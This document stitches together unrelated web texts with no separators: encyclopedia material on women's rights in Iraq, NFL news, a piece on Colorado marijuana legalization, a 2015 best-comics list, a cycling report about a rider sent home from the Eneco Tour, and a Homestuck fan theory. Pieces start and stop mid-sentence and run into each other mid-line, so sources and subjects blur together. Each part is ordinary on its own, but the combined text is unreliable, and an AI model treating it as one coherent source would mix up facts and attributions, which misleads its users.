OWFI has set up an observation group of activists, directed by Dalal Jumaa, which focuses its action on the defense of the rights of women in prison and in police detention. It has notably obtained authorization to regularly visit the Khadidimya prison, in Baghdad, and to denounce the detention conditions: rapes during interrogations, poor treatment, and the presence of children in the cells. OWFI has taken part in negotiations with the municipality of Bagdad to open a daycare in proximity to the prison.[95] In 2009, OWFI was alerted to the situation of 11 women condemned to death, detained in this prison, after the execution of one among them.[96] In 2010, OWFI observers met young girls aged 12 years, expelled from Saudi Arabia for prostitution and imprisoned in Iraq.[85] In February 2014 Human Rights Watch released a 105-page report 'No One is Safe' alleging there are thousands of Iraqi women in jails being held without charge, that are being routinely tortured, beaten, and raped.[97]
Women's workplace rights Edit
In February 2004, OWFI launched a campaign to support fifty female bank employees held on charges of embezzling millions during exchange operations involving banknotes. Embarrassed by the affair, U.S. authorities freed them and their informant was arrested.[98] OWFI has denounced the Islamist-influenced licensing process for women in professions. Nuha Salim declared : The insurgents and militias do not want us in the professional sphere for various reasons: some because they believe women were born to stay at home – and cook and clean -- and others because they say that it is contrary to Islam that a man and woman should find themselves in the same place if they are not related.[99]
Women's social life Edit
Valentine M. Moghadam, author of Modernizing Women: Gender and Social Changes in the Middle East, argues that women were the first whose social life was affected by the economy and in cases of war. The "onset of the war with Iran brought about a toughening of the state's position on women." Women were not allowed to travel without their husbands, fathers, or guardians and their role was to bear children.[100] In general in cases of war, as Nadje Sadig Al-Ali, author of Iraqi Women: Untold Stories from 1948 to the Present, argues, "women carried the conflicting double burden of being the main motors of the state bureaucracy and the public sector, the main breadwinners and heads of households but also the mothers of 'future soldiers.'[101]:168 Moreover, Saddam Hussein, "in an attempt to maintain legitimacy after the Gulf War by appeasing conservative patriarchal constituencies, brought in anti-woman legislation, such as the 1990 presidential decree granting immunity to men who had committed honour crimes."[101]:202 By legalizing these so-called honor killings, women's roles and their social status in the society were further undermined during Saddam Hussein's presidency. As noted by Yasmin Husein, author of Women in Iraq, the traditional role of women in Iraq is confined mainly to domestic responsibilities and nurturing the family. The wide scale destruction of Iraq's infrastructure (i.e., sanitation, water supply and electricity) as a result of war and sanctions, worsened women's situation. Women, in the process, assumed extra burdens and domestic responsibilities in society, as opposed to their male counterparts.[102]
Women in the government and military Edit
See also: Federal government of Iraq and Iraqi Armed Forces A female Iraqi soldier during live weapons training at the Jordanian Royal Military Academy. The Iraqi Constitution states that a quarter of the government must be made up of women. However, the women that hold position in the government still have little to no power. Often, the women in government are just relatives of other leaders. Serious women leaders in Iraq are unheard of. However, Iraq has been a leader on women's rights for quite some time. In the 1950s it became the first Arab country to have a female minister and to have a law that gave women the ability to ask for divorces.[103] Women attained the right to vote and run for public office in 1980. In 1986, Iraq created CEDAW, the Convention on Elimination of All Forms of Discrimination against Women.[104] However, during Saddam Hussein’s rule, Iraq took many steps backwards in terms of women’s rights. Under his rule, women had no form of governmental power. Women had to lobby the American administrator in Iraq, L. Paul Bremer III, to mandate the requirement of a quarter of the Parliament's members being women.[104] There is also a large divide among the women themselves, some more modern women wanting a larger percent of women in the Iraqi government still, and some more traditional women believing that they and others are not qualified enough to hold any sort of position in the Iraqi government. Another existing issue is the increasing amount of illiterate women in the country. In 1987 approximately 75 percent of Iraqi women were literate. In 2000, Iraq had the lowest regional adult literacy levels, with the percentage of literate women at less than 25 percent. This makes it increasingly difficult to put educated women in a position of power.[105] Although there are many issues with the current spread of power among genders in Iraq, they are one of the more westernized Arab countries. However, there is hope for women in Iraq. After Hussein's fall in 2003, women's leaders in Iraq saw it as a key opportunity to gain more power in Parliament. The leaders asked for a quota that would have seen that at least 40 percent of the Parliament to be women. In the 2010 National Elections, a group of twelve women started their own party based on women's issues, such as a jobs program for Iraq's 700,000 widows.[106] The United States' involvement in Iraq was seen as detrimental to women. Since Prime Minister Nouri al-Maliki was elected as Prime Minister of Iraq, not one woman has been appointed to his senior cabinet.[107] Many women across the country, especially young women, are afraid to voice their political voices for fear of harming their reputations. When they do become active politically, they are seen as being influenced by the United States and trying to push a liberal agenda.[106] Constitutionally, women lost a number of key rights after the United States entered Iraq. The Family Statutes law, which guarantees women equal rights when it comes to marriage, divorce, inheritance, and custody, was replaced by one that gave power to religious leaders and allowed them to dictate family matters according to their interpretation of their chosen religious text.[107]
References EditAccording to the Denver Posts Troy Renck, Denver Broncos defensive end Antonio Smith could be allowed back for Training Camp next week.
Smith sat out the Broncos offseason workouts as Texas prosecutors continued to investigate criminal abuse allegations against him. He has yet to be charged with anything.
Renck says that it's likely that Smith will be present when the veteran's report for Training Camp on Thursday. Now Mike Klis of 9NEWS says that Head Coach Gary Kubiak and General Manager John Elway have yet to decide on whether or not to allow Smith back. He says that they will make a decision sometime next week.
If the Broncos do decide to keep him away, they will not be able to fine him for his absence. Now if Smith disagrees with this he could ask the NFLPA for help.
Training Camp is near!:
Horse Tracks:
Jermaine Gresham agrees to one-year deal with Cards - NFL.com
The Cardinals announced Friday that tight end Jermaine Gresham has agreed to a one-year deal. The former first-round pick spent the first five years of his NFL career with the Cincinnati Bengals.
Miami Dolphins release QB Josh Freeman - NFL.com
Josh Freeman's fresh start with the Miami Dolphins didn't make it to training camp. The Dolphins announced Friday that the veteran quarterback has been released.
C.J. Wilson steps away from Bucs after fireworks injury - NFL.com
Tampa Bay Buccaneers cornerback C.J. Wilson will take a hiatus from football -- one that could be permanent -- following a fireworks accident that led the loss of two fingers.
Browner gets Super Bowl ring, note from Robert Kraft - NFL.com
Brandon Browner received his Super Bowl ring from the New England Patriots. With it came a note from owner Robert Kraft praising the corner's locker room leadership.
Scout: Eddie Lacy 'one of the strongest' RBs I've seen - NFL.com
Entering his third season, Packers running back Eddie Lacy has surpassed expectation, leaving one NFC scout to say: "He's one of the strongest animals I've ever seen. He's a man."
Chiefs' Sean Smith receives three-game suspension - NFL.com
Chiefs cornerback Sean Smith was suspended from the league after pleading guilty in April on a 2014 DUI charge, it was learned Friday.
Braxton Miller expects move to wide receiver for Ohio State - NFL.com
Braxton Miller, who led Ohio State to two unbeaten regular seasons as a quarterback, says he will play his final season of college ball at H-back. His coach, however, isn't ready to declare the move a done deal.
NFL Nation's training camp previews - NFL Nation - ESPN
Our NFL Nation reporters put together a look at the top training camp storylines, battles to watch and more for every NFL team.
Pro Football Hall of Fame won't let Junior Seau's family speak at induction
A Pro Football Hall of Fame policy will prevent members of Junior Seau's family from speaking at the deceased linebacker's induction ceremony in August.
New Orleans Saints release linebacker Junior Galette
Deciding his character issues outweigh |
in the past is not going to be able to be a dispensary owner anymore. Dispensaries are not allowed to compensate doctors or patients. The local bans on dispensaries that will be found unconstitutional, but who knows when. So many hoops for dispensaries to jump through, and they can still deny a license,” she recited. “The stated intent was to put a big chunk of the dispensaries out of business, and I think it will,” she predicted.
“On the patient side, they’re requiring three different follow-up visits to the doctor, plus registration fees,” Kriho said. “For most of the patients I know, coming up with $90 for a license and $100 for a doctor’s exam was the limit to what they could afford. If you push it up higher, people won’t be able to afford it. ”
The initiative effort is just getting under way, said Kriho. “We’re just in the process of getting it going, we’re forming the language committee,” she said. “It’s important to us to make sure the language is acceptable to all the people in Colorado. With a year and a half to write this, we should be able to get a good consensus. We have a unique opportunity now — people have tasted that freedom and had it yanked away by the government.”
“They were upset with the regulation bills and have some major issues with them,” said Brian Vicente of Sensible Colorado, which lobbied for some of the provisions in the measures. “But we are committed to working with them. We do have patient access issues here in Colorado — for example, patients with severe depression or PTSD can’t currently access it under state law. If we just legalize it for all adults, those individuals would have access.”
“We might have some philosophical differences with groups like Sensible Colorado,” said Kriho, “but we have to remember the end goal: keeping people out of jail.”
“We need to agree on what we’re going to agree on and work together on these issues,” said Vicente. “CTI, Sensible Colorado, and SAFER have enough common ground that I’m optimistic we can work together.”
“I think we can build an effective coalition,” said Jessica Corrie, an attorney, Republican, mother, and nationally known legalization advocate. “We have everybody from evangelical Christians to hard-core labor activists. There are some concerns about the radical fringe of this movement, but we can’t ignore them and shouldn’t ignore them. I’ve seen many people with passionate radical views come into the fold. In the eyes of most voters, this was all about tie-dyed hippies, but now it’s people like me. The effort should be to bring people together to the extent it’s possible.”
“I support any effort to change marijuana laws so adults are able to make the safer choice, but this effort seems short-sighted and unlikely to garner the support of the voters,” said an uncharacteristically tight-lipped Mason Tvert, whose SAFER (Safer Alternatives For Enjoyable Recreation) ran the successful 2005 Denver legalization initiative and the 2006 statewide legalization initiative that won 39% of the vote.
Tvert and SAFER already have a legalization initiative drafted and filed with the secretary of state’s office. Known as Initiative 47, the measure would legalize the possession of up to one ounce of marijuana, three seedlings, and three mature pot plants by people 21 or older. It also calls for licensed marijuana cultivation and sales outlets, and it calls for a maximum tax of $50 an ounce.
“CTI decided to announce this because they think there should be no tax on marijuana,” said Tvert. “The initiative we filed has a tax of $50 an ounce at most and allows licensed production and distribution, no penalties for adult use or possession, and people can grow up to six plants. That seems to me like a proposal that will be met with support by most Coloradans.”
Tvert is willing to put that to the test at the ballot box. “We have every intention of running a ballot measure,” he said. “The language is approved, the title is set, but we’re holding off until 2012. We shouldn’t have any problem getting through that process again.”
If there is one thing everyone seems to agree on, it is that victory is within grasp. “We’re looking for freedom for the whole plant, untaxed and unregulated as much as possible,” said Kriho. “Legalize 2012 comes from that. We have to take this next step, and we have to get ready now. Legalization is polling 49% now and will be over 50% by 2012.”
“I think the prospects are very good,” said Corrie. “If you look at the 2006 initiative, legalization outperformed the Republican gubernatorial candidate, and we saw a dramatic shift in terms of voter demographics in 2008. Now it’s polling at 49%, eight points more than any statewide candidate for office, and when you ask voters if marijuana should be regulated like alcohol and taxed, there is a jump of five or six points, which is a reflection of dire budgetary circumstances. That’s where the Republicans we see on board are coming from. They think marijuana is bad, but they’re tired of paying outrageous tax bills, and given some persuading that marijuana is safer than alcohol, I think they are reachable.”
Married women with children have historically been one of the toughest demographics for marijuana law reform, but having activists like Corrie on board may be able to swing some of the worried mom vote. “Younger mothers worry that if we legalize marijuana, it’s an endorsement of marijuana use,” said Corrie. “My response is to ask whether prohibition stopped us from using marijuana. We mothers are the most powerful tool for preventing our children from engaging in dangerous behaviors, and so many women across the ideological spectrum have handed government bureaucrats the responsibility for taking care of our children,” she explained.
“In speaking to older Republican women, many of them were actively involved in DARE in an effort to be the best parents they could be. They want to feel like there was some good in that, and I tell them they did the best they could with the information available at the time, but now it’s time to work together with the best information to protect our kids,” Corrie said. “This isn’t a conversation you have in 10 minutes. This is a process of getting people to rethink ideas and concepts and political views, and that can be difficult, especially when people are forced to admit the government wasn’t correct.”
“I think Colorado is ready right now,” Vicente laughed when asked if an initiative could pass in 2012. “But 2012 is when we’ll actually have the resources.”
Still, Kriho and CTI aren’t putting all their eggs in one basket. “We are working with Roger Christie and his THC Ministry to bring on a cannabis religious revival,” she said. “The Colorado constitution specifically protects method of worship, and we’re confident the THC Ministry qualifies as a legitimate church. We may be forming branch ministries, like the church sanctuary movement. It’s about protecting patients. Sincere religious practitioners should form a church to get protection,” she said.
But if Colorado’s marijuana community can keep from flying apart, in a couple of years, patients and recreational pot smokers alike might have made the entire state a sanctuary, through the ballot box.
– Article from Stop the Drug War (DRCNet).Comics are great, so let's celebrate the best new comics of the past year
As Polygon wraps up each year with a look back at the best of film, television and music — oh, right, and games — our editors and writers come together to collaborate on those lists. The ranking becomes a mathematical and textual consensus on the best of what we saw, played and listened to over the year.
Methodology This list is restricted to ongoing or limited series. Why? Because, for better or worse, that's primarily what I read this year. If we had more comics experts on the site, you'd probably get a broader spread, but you're stuck with me, reader! I've tried not to steer you wrong. A series, story arc, or limited series was considered for inclusion if it was: A new ongoing series that published the final issue of its first story arc in 2015.
A story arc of an older ongoing series that published its final issue in 2015.
A limited series that published the final issue of its run in 2015. But as Polygon's resident comics expert, the task of making a best comics list falls to me, and me alone. Reader, please insert the maniacal laugh of your choice. It's been a good year for comics, one which continues to show that even in this tiny, insular industry, stories can succeed whether or not they're about a costumed crimefighter with several major movie adaptations. On this list alone we've got misandrist space warriors, classic superheroes shaking the genre out of its classic rhythms, and meditations on fame and horror and wonder and magic. Here there be deities — or near-deities — prisoners, robots and even squirrels, all in books that remind the reader at every turn of the page that these stories couldn't be told as well in any other medium. We're going to start with the best and work our way down, because I felt like it, and — as I may have mentioned — I'm the only one writing this list. We'll cap the whole thing off with the best single issue of 2015. So, without further adieu, give a warm welcome to the women of the Auxiliary Compliance Outpost, or... This is the TOC title 1. Bitch Planet Kelly Sue DeConnick (W), Valentine De Landro (A) Like Penny Rolle herself, Bitch Planet arrived on the scene with a roundhouse punch of a story and a self-confidence that would not be silenced. But, then again, once you've decided that each issue of your comic will have the words "Bitch Planet" on it in the boldest letters, there's no reason not to lean into it. The series struck a nerve almost immediately, or perhaps un-pinched one long held, as fans of all genders shared their own tattoos of the comic's NC logo — shorthand for "non-compliant," the umbrella term for women who've committed crimes against the patriarchy. In a dystopian future of complete patriarchal hegemony where women are shipped off to space prison for crimes like "persistent obesity," a diverse team of prisoners enter into a rigged tournament of a globally televised bloodsport in the hopes that it just might give them a chance to assassinate the ringleaders of their government — and DeConnick and De Landro reclaim the women-in-prison genre as a narrative of empowerment and righteous fury. DeConnick's world-building takes the pulp sensibilities of Bitch Planet's core concept and grounds it in a believably horrifying setting worthy of science fiction's greatest dystopias, while her character work leaves you devastated at every plot turn. In an industry consistently criticized for the sexualization and objectification of female characters, De Landro's women vibrate with agency, humanity and power — even when literally stripped naked by the patriarchy — while his panel layouts deserve to be taught in college courses. Each issue's back matter, fronted by a new essay on feminist theory by a succession of notable women writers, makes the comic's purpose utterly unmistakable. Bitch Planet is an unapologetically violent and exquisitely balanced pulp narrative, and one that's fiercely determined to address the way the fight for gender equality intersects with race and sexuality.
2. The Sandman: Overture Neil Gaiman (W), J.H. Williams III (A) 2015 was a good time for media nostalgia, what with Jurassic Park, Star Wars and even smaller efforts like Creed back at the box office. But it was also the year that The Sandman: Overture — Neil Gaiman's long-awaited prequel to his 1989 mythopoeic epic The Sandman — was completed. After the publication of its first issue in late 2013, the rest of the series was frequently delayed, but its sixth and final installment hit shelves this September. With the close of the story, Gaiman and artist J.H. Williams III — who was only beginning his comics career when Gaiman was wrapping up the original 75 issues of The Sandman — have stuck the landing on a movement of creative gymnastics. You can return to a beloved story a quarter-century later in a way that feels utterly seamless. Williams' dream-like colors and layouts make for art that immediately feels like Sandman, while his draftsmanship never allows the reader to mistake what they are looking at, even when a character is walking from a dream of reality into reality itself.
For his part, Gaiman took up the reins on a character character long dormant with aplomb. When Dream of the Endless realizes that there is a cancer driving the universe insane, and that he created it, the reader is promised a story that would address a foundational but unanswered question of The Sandman — what cosmic battle so weakened the Dream Lord that he could be imprisoned by a mortal sorcerer for 70 years, kicking off the events of the series? What wasn't promised was that the story would expand upon an fill in some of The Sandman's other remaining mysteries, big and small, and that it would do so in such a way as to remind the reader why so many people were introduced to a lifelong interest in comics through The Sandman. This is the TOC title 3. The Wicked + The Divine, Vol. 3: Commercial Suicide Kieron Gillen (W), Jamie McKelvie, et al. (A) The Wicked + The Divine struck out into brave new territory this year, as the narrative comic — until now driven by the perspective of a single character — switched to an anthology style. Instead of following the life of Laura, a young fan swept into the world of the Pantheon — a variegated group of teenage pop stars who are also actual gods — the comic has instead been creeping its plot deliberately along with issues focusing on individual Pantheon members. Every 90 years, in The Wicked + The Divine, a group of twelve teenagers in disparate parts of the globe realize that they are gods — and that they have only two years to live. Each time they rise, they define and are defined by the culture of the time. The Pantheon's rise now, in this decade, is the first time that their powers and influence have been empirically observable, recordable, tweet-able, post-able, hashtag-able and transmittable instantly around the world. Designed in clear homage to musicians from Florence Welch to Prince to David Bowie, they are pop gods. And they are pop gods. In that shift from Laura to the Pantheon, Gillen and McKelvie — along with a host of guest artists from Kate Brown to Matthew Wilson — have produced some of the comic's most affecting stories and most daring visuals. From Wōden's remix issue — in which virtually all of the artwork was recolored and recontextualized art from previous issues — to Tara's one-issue variations on the tune of fame, objectification, identity and femininity. The only reason I didn't consider these individual issues for Best Single Issue is that I'd be considering most of them. The Wicked + The Divine has always been about the nature of fame and identity, but nowhere has that been more clear or more compelling than in the comic's third arc.
4. Midnighter Steve Orlando (W), ACO, et al. (A) Ask yourself: What if you created a version of Wolverine with all of the confidence, the bloodlust, the rock solid moral compass and the amnesia, but none of the angst — and put a supercomputer in his head that lets him fight people like a grandmaster plays chess? You'd be part of the way towards capturing the appeal of the Midnighter, DC Comics' first gay male superhero to star in his own title. Now, get ACO, Alec Morgan and Stephen Mooney to draw some of the most intricate and brutal fight scenes in superhero comics today, and Steve Orlando give you a wise-cracking warrior who is as likable as he is murderous.
Midnighter's first story arc, Out (what else would you call it?) concerns the titular character's efforts to recover the stolen artifacts of the God Garden, an orbiting stronghold of science too advanced for humanity to be trusted with. Midnighter has recently sabotaged his relationship with his partner and boyfriend Apollo, and is taking advantage of his single status as only someone running from their identity issues can. What identity issues? Well, the process that gave him his super-soldier body and supercomputer brain erased his memory of who he used to be — and that secret is one that may have just gotten out along with all of the God Garden's other toys. Orlando, ACO, Morgan and Mooney give the Midnighter his due in the DC Universe, taking full advantage of the potential of both the character and the setting. It's made for one of the year's most fun, unique and visually experimental super-books, and one of the freshest takes on a gay superhero out there at the moment. This is the TOC title 5. ODY-C Matt Fraction (W), Christian Ward (A) When it was announced that Matt Fraction and Christian Ward would be reimagining Homer's Odyssey in space with a cast of all women, we knew it would be interesting. When the first issue arrived with an eight-page fold out cover featuring witchjack wanderer Odyssia and her Achaean sisters laying waste to the mothers of Troy on one side and a timeline of the universe multiple feet long on the other, we knew we were in for a wild ride. And at the close of the first arc of ODY-C, a story in which father-mother Zeus destroyed all mortal men so that no child could ever grow to usurp their power as they had usurped their own father — a story in which the titan Promethene gave up her sanity to invent the intersex gender sebex so that mortal women would not die out — a story in which trickster Odyssia hides her identity by telling the Cyclops that her name is All-Men — we knew that Fraction and Ward had put together something incredible. ODY-C can be a dense read, textually and visually, but it is worth the effort. Ward's art is so psychedelic it practically assaults the eyes, rendering gore and opulence with the same impossible-to-look-away-from intensity. Fraction delivers each issue in full verse — only the gods are allowed regular old speech balloons — a poetry that beats like music, worthy of the epic stories it is recrafting. 'Cause, yeah, the second arc has brought elements from the One Thousand and One Nights into play: ODY-C has only just begun to rock.
6. Ms. Marvel: Last Days G. Willow Wilson (W), Adrian Alphona (A) 2015 was a year when Marvel and DC Comics were dominated by two virtually identical summer events, Convergence and Secret Wars. At both companies, the entire universe was destroyed except for a few dozen pockets of reality from a few dozen different timelines, which were smooshed together into one world by an omnipotent entity. That entity then encouraged or forced the characters on that world to duke it out for supremacy. This is the sort of editorial situation that you might expect a few fun stories from, a few nostalgic character returns, but nothing nutritious. Nothing that's going to make you tear up or think hard. Enter Ms. Marvel: Last Days, a four issue Secret Wars tie-in story. It promised the long awaited first face-to-face meeting between Carol Danvers (formerly Ms. Marvel, now Captain Marvel) and Kamala Khan, a young superhero who'd adopted her old identity and her biggest fan. Because it was subtitled Last Days, we also knew it'd be about a part of the Marvel universe being torn apart by a reality-wide calamity. Classic, bombastic superhero stuff.
But in addition to all of that, G. Willow Wilson and regular series artist Adrian Alphona gave us a story about a community coming together against insurmountable odds, a family supporting the best in its nearly grown children and a young girl touchingly mentored by her greatest hero. What's more, Ms. Marvel: Last Days attacked a problem that many superhero stories, heck, many adventure stories, never find the fortitude to sensibly address: what does a superhero do when they can't save everybody? Are they rescued by a plot device? A convenient ethical out? Do they mope and angst about what they could have done? Or do they accept the very human (and not very superheroic) idea that you can't save everyone, and being a person who tries to save anyone means not just living with that, but expecting it. This is the TOC title 7. The Unbeatable Squirrel Girl Ryan North (W), Erica Henderson (A) Take the guy who writes the Internet's Dinosaur Comics. Pair him with an artist with superb comedic timing and a talent for expression. Give them the Marvel Universe's goofiest, running gag-iest superhero concept. And watch them turn Squirrel Girl into the most earnest superhero comedy out there. Doreen Green was introduced in a brief but incredibly memorable story in which the teenager — whose powers are most accurately (if vaguely) described as "squirrel-themed" — petitioned Iron Man to let her become his sidekick and defeated Doctor Doom with an army of squirrels. Squirrel Girl became something of a gag character, occasionally cameoing in stories to inexplicably, improbably — but charmingly — defeat the biggest villains of the Marvel Universe. The Unbeatable Squirrel Girl isn't the first time somebody's tried to make a more consistent character out of her, but it's the first time she's ever starred in her own series, and what a series. Henderson's charming art is perfect for North's stories, in which Doreen is just as likely to spend two issues trying to defeat Galactus on the moon by stealing an Iron Man suit as she is to happily drag her new college roommate to the campus club fair as she is to wonder whether she can defeat Kraven the Hunter by tossing him into the air "over and over forever until it's the future where everything is awesome." Look at that Galactus dialogue over there: if I was going to give an award for Best Panel of the Year, half of the contenders would be from Squirrel Girl. Squirrel Girl is that rare thing at DC and Marvel, a genuinely all-ages, incredibly funny, completely accessible, utterly optimistic superhero book.
8. Wytches Scott Snyder (W), Jock (A) Wytches is the reason I don't read any of Scott Snyder's books before bed anymore. The plot of the book is hard to describe in a concise way: troubled but loving family moves to new town for a new beginning but struggles to leave their past behind. Horrible creatures come out of the woods, body horror ensues, memories go faulty, authorities don't believe them, terrible secrets are revealed and in the end the real horror is much worse than the monsters in the dark. The most terrifying thing in Wytches isn't the titular creatures, but the candid truths about parenting that Snyder lays down as the story's foundation. Jock's art —given even more visceral punch than usual by Matt Hollingsworth's colors — keeps us wrapped up in the visual horror of it all. Snyder's writing — both in the story and in a series of candid essays in the issues' back matter — tackle themes like dealing with depression as a parent, realizing your kids have inherited your problems, and how quickly fear for your child can turn to anger towards them.
If anything speaks to Wytches' effectiveness as a book, it's that I — someone who generally can't stand horror and never wants to have kids — was entirely swept away by it. This is the TOC title 9. Grayson, Vol. 2: We All Die at Dawn Tim Seeley (W), Mikel Janin (A) Grayson was an odd pitch of a comic: Batman's first sidekick, no longer Robin, no longer Nightwing, now a super spy under his own name? Stretch the concept of a character too far and instead of a fun juxtaposition you just might wind up with something unrecognizable. But if Tom King and Tim Seeley's series says one thing, it's that they know Dick Grayson. And Grayson is about putting Dick in a place where he can truly surpass the role of Robin. (And if they King and Seeley understand one other major facet about Dick Grayson's history, it's that he's one of the DC Universe's biggest heartthrobs. Artist Mikel Janin's grasp of anatomy is a gift.) Nightwing, after all, was still an identity formed in opposition to Batman. But who is Dick Grayson when he can't be a superhero anymore? Who is he when he can't let his surrogate family know he's alive? Who is he when there's no one he can trust? These were the questions posed by Grayson's first story arc, and this year, in its second, the series forged ahead into true super spy territory. Which is to say: it's an unpredictable adventure comic full of gadgets, banter and characters criss-crossing the globe as they try to keep the secret peace — and it's also a book that prizes character interaction as a core competency. The very first issue of the arc is perhaps the most emblematic of these two themes. On the one hand, Dick, his spymaster Helena, his rival Midnighter — another character created in reaction to the metatextual shadow of Batman, and an inspired choice of foil — and a newborn baby are all stuck in a desert with no hope of walking to civilization. On the other, its a story that emphasizes that — no matter the situation — Dick Grayson's greatest superpower is the perseverance he learned under the mentorship of the Caped Crusader.
10. Descender Jeff Lemire (W), Dustin Nguyen (A) I was late to Descender, reading it only after its first arc had been collected, which meant that at the height of the anticipation for Star Wars: The Force Awakens, I found it to be a true balm for my Star Wars fever. Descender takes place twenty years after titanic metal beings arrived suddenly and mysteriously around the galaxy and utterly destroyed a great number of its most populous worlds. A galaxy-wide renaissance created by the recent invention and swift ubiquity of high quality artificial intelligence in robotic servants, pets and laborers was suddenly ended when the obvious but inexplicable connection between the metal giants and our mechanical helpers lead to galaxy-wide robot purges.
Now, a small, naive child's companion bot, Tim-21, wakes up alone on a devastated mining planet, only to become a pawn in the struggles between several galactic factions. Tim-21, it turns out, may be the galaxy's only hope in understanding where those metal men came from, where they disappeared to, why they nearly destroyed civilization and whether they will ever come back. Dustin Nguyen's character designs and expressive faces, especially that of Tim himself, sells the scale of this story from the galactic to the emotional, while his watercolors give the entire book a handmade feel that came through even when reading it digitally, contrasting wonderfully with the clean, chromed ship interiors and the inky blacks of space. Jeff Lemire's story twists and turns unpredictably, introducing a broad cast of characters as complicated as they are sympathetic. If you want more Star Wars after seeing The Force Awakens, there are plenty of Star Wars comics and books out there for you to devour. But if you still want more after that, Descender might be a good place to start.
Best Single Issue: Batman #44 Scott Snyder and Brian Azzarello (W), Jock (A) When we talk about television, we talk about seasons. When we talk about music, we talk about albums. But we also talk about episodes and songs, and so any list of great comics of the year would be lacking if it didn't acknowledge that the contained, single issue story can dominate discussion just as much as the arc or the ongoing. This year, that single issue was Batman #44, "A Simple Case," co-written by Scott Snyder and Brian Azzarello with art by Jock. At some point every Batman fan has sat through a conversation that began with someone saying "You know, if Bruce Wayne really wanted to fix Gotham, he would use his money for..." economic revitalization, community outreach, funding mental health care and progressive local political candidates, etc. etc. In other words: Bruce Wayne could do more good if he behaved like Gotham's Bill Gates than Gotham's Dark Knight.A controversial and highly unusual development occurred Wednesday on the third stage of the Eneco Tour with the FDJ team losing patience with its rider David Boucher and sending him home from the race.
Boucher was involved in the day’s breakaway move, going off the front with Edward Theuns (Topsport Vlaanderen-Baloise) and Frederik Veuchelen (Wanty-Groupe Gobert).
He was on television for quite some time and gained the squad publicity but, as it turned out, that was not what it wanted.
“Thank you to everyone cheering for me. I have to go home now. Pity. My team did not want me to go in the escape,” he wrote afterwards in Flemish.
Speaking to the French site VeloPro.net, team manager Marc Madiot explained why tension erupted between the team and the rider and why he had been taken out of the event.
“Since Monday’s race the instructions were clear,” he said. “David Boucher had to protect Arnaud Démare. He was called to order by Martial Gayant on Monday and I called him in person yesterday at the moment of the briefing.
“He decided again not to listen to instructions today, he is therefore expelled. Riders are paid, and paid well, to stick to instructions, happy or not happy. In doing what he did, he has not respected his leader.”
Boucher was born 35 years ago in France but became a naturalised Belgian citizen midway through 2013. He’s had a somewhat modest career, with his results including first place on a stage of the 2004 Tour de la Somme plus various other placings in smaller races.
He was eighth overall in the Three Days of De Panne in 2013, and placed seventh this season in the Belgian time trial championships.
A former competitor with teams including Omega Pharma-Lotto, who he raced with for one year in 2011, he moved to FDJ in 2012 and has been racing there since as a domestique.
Things have however unravelled, with Boucher being told a few days ago that he would not be retained next season. That appears to have prompted him to rebel against team orders, perhaps trying to gain attention via breakaway efforts and to secure a deal for 2016.
Boucher was involved in another break on Monday and, having been admonished for that, decided to go for it again on Wednesday. That could end up being his final race with the squad.
Asked if he will compete again this season, Madiot didn’t give anything away.
“Is his season is over? I’ll decide when I feel like it,” said Madiot.
“We always want that this would end well,” he added, presumably speaking about a rider’s departure from the team. “I still have the right to choose my riders for next year. It’s a shame it does not respect this choice.”
Boucher appears to be defiant.
“I’m proud of myself and I’m not alone,” he stated in French on Twitter.
“I’m very happy to have been supported by all the DS [directeurs sportifs] and riders in the peloton, thanks to you. #Solidarity and bravo to Arnaud [Demare] for his second place.”
The latter was beaten by Tom Boonen (Etixx – Quick-Step) in the sprint. The unanswered question is, if Boucher had followed team orders, if his assistance might have made the difference between the runner-up slot and the top step of the podium.
That’s impossible to answer, but it’s a question that both Boucher and the team may well end up pondering in the days ahead.Just read this. It makes so much sense and after I read it I had to draw this UPD8 art. U.U
beldaran:
interstellarspider:
beldaran: Okay. Okay wait. Caliborn’s weird homogay crush on Dirk. Is a thing. And then he got to spend years, years with Dirk. And part of Cal’s personality knew EXACTLY how to fuck with him. I take back everything bad I’ve ever said about Bro. The fact that Bro didn’t outright molest/murder Dave is a FUCKING MIRACLE. Magnets and rainbows all up ins. The implications. I cannot deal with this. No wonder Bro wanted to train Dave so hard. No fucking wonder Bro was always drawing creepy-ass comics about “wanting to play a game.” No wonder when Davesprite prototyped him, all Calsprite did was laugh. Caliborn was finally able to get Dirk to draw whatever he wanted for him. Whenever he wanted. Truncated. Disjointed. Sentences. And fucking memes. Writing like there’s two people communicating the message.
I NEED TO FUCKING PUNCH SOMETHING.
In the case of Lil Cal and Bro. Who is the puppet. And who is the puppeteer? I think we have our answer.
I am now and forever creeped out by the idea of Lil Cal compelling Bro to flash step him everywhere. Like Cal’s living some kind of fucked up half life through Bro/Dirk. His very favorite person and weirdo crush. The guy who he just happens to have a soul shard of sharing his creepy puppet body. *shudder*
Just look at their apartment and the things Dave goes out of his way to voice his desperate, brittle acceptance of. The puppets, creepy comics, and mind games scream Caliborn. The barrage of phallic imagery that was wildly inappropriate for a child is pretty Eq, not to mention the creeping miasma of sexuality that was just… urgh. Then add the sticky film of fear (chucklevoodoos) and anger/rage trickling from Gamzee. Finally, the way it all meshed perfectly together with Bro since AR would know exactly how to get in Bro’s head (BEING A SHARD OF HIS SOUL AND ALL) and you’ve got a perfect storm of the worst thing I’ve ever had the misfortune to think about. The training and the physical abuse ramped up to 11 and done with a totallyunequal power dynamic (unlike the also uncool but not nearly as fucked up Dirk and Jake situation) also seems very AR/Caliborn-like. That’s not even to mention both Eq’s and AR’s thing for control, and the issues ALL FOUR (well, three and a half, haha) people in there have with the color red and fuck, Dave is amazingly lucky to have made it out of there alive.
And UGH. Caliborn’s thing for platonic affection, the normal kind of affection you’d give a child so that they grew up healthy. No wonder Bro has minimal contact with Dave, Lil Cal’s influence would get all kinds of wires crossed. The only non-evil solution would be to forgo physical affection all together.
Also, lets consider, Caliborn’s first and foremost talent has always been his dominating personality. I have no doubt he would have been the dominating presence in Lil’ Cal. With just a touch of Gamzee’s ability to get in people’s heads… I’m upset just thinking about it. After lord knows how long of being exposed to him it’s amazing that Bro wasn’t a shambling husk that existed to do Cal’s bidding. The biggest, strongest, prettiest (that crush is still a thing) puppet ever, just for Caliborn. Bro was kind of half way there, but he somehow managed to mostly protect Dave from it which… I’m crying. Maybe Caliborn didn’t want to influence Dave so much or maybe the shades helped. Maybe Bro had a kind of subconscious idea of what was happening to him, I don’t know.
